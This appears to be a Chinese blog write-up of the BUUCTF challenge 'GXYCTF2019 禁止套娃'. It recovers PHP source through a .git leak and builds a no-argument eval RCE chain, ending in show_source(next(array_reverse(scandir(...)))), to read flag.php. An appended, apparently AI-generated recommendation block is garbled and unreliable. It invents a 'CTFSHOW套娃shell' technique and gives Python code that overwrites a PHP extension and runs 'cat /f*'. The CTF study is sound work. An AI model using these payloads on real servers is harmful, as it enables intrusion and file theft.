BUUCTF:[GXYCTF2019]禁止套娃

https://buuoj.cn/challenges#[GXYCTF2019]%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83

在这里插入图片描述
在这里插入图片描述
.git泄露,使用GitHack

在这里插入图片描述
index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

两个preg_match()过滤一些关键字,主要看到

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式

xxx(xxx(xxx(...)));

函数形式,但是不能有参数,无参数RCE,这种时候就需要翻手册了,查找无参数可利用的函数

首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()。当scandir()传入'.',可以列出当前目录的所有文件
在这里插入图片描述
所以如果有函数能够返回'.'的话,就可以利用它作为scandir()的参数

localeconv() 函数返回一包含本地数字及货币格式信息的数组

在这里插入图片描述

接下来只需要使得指针指向这个数组内的第一个值

current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

?exp=var_dump(scandir(current(localeconv())));

在这里插入图片描述
接下来看如何读取到flag.php

next() 函数将内部指针指向数组中的下一个元素,并输出。

array_reverse() 函数返回翻转顺序的数组。

把数组顺序倒一下,然后使用next(),就可以读到flag

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

在这里插入图片描述

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
CTFSHOW套娃shell是一种常见的利用技术,用于在Web应用程序中执行命令和控制服务器。根据提供的引用内容,以下是一种使用CTFSHOW套娃shell的方法: 1. 首先,需要获取CTFSHOW扩展。可以通过运行命令`php ext_skel.php --ext ctfshow --std`来生成该扩展的目录。 2. 进入生成的目录,并编辑.c文件,根据需要进行修改。 3. 执行以下命令来编译和安装扩展:`phpize ./configure make && make install`。编译完成后,会告知具体的扩展安装位置。 4. 通过发送POST请求,使用CTFSHOW套娃shell来写入并执行命令。示例代码如下: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'file': '/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so', 'content': open('ctfshow.so', 'rb').read()} requests.post(url + '?a=write', data=data) requests.get(url + '?a=run') ``` 5. 使用CTFSHOW套娃shell执行命令。可以使用以下命令示例: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'cmd': 'cat /f*'} requests.post(url + '?a=shell', data=data) ``` 这样,您就可以使用CTFSHOW套娃shell来执行命令并获取所需的结果了。请注意,使用套娃shell存在安全风险,应仅在合法和授权的情况下使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFSHOW 常用姿势篇(811-820)](https://blog.csdn.net/miuzzx/article/details/124038567)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值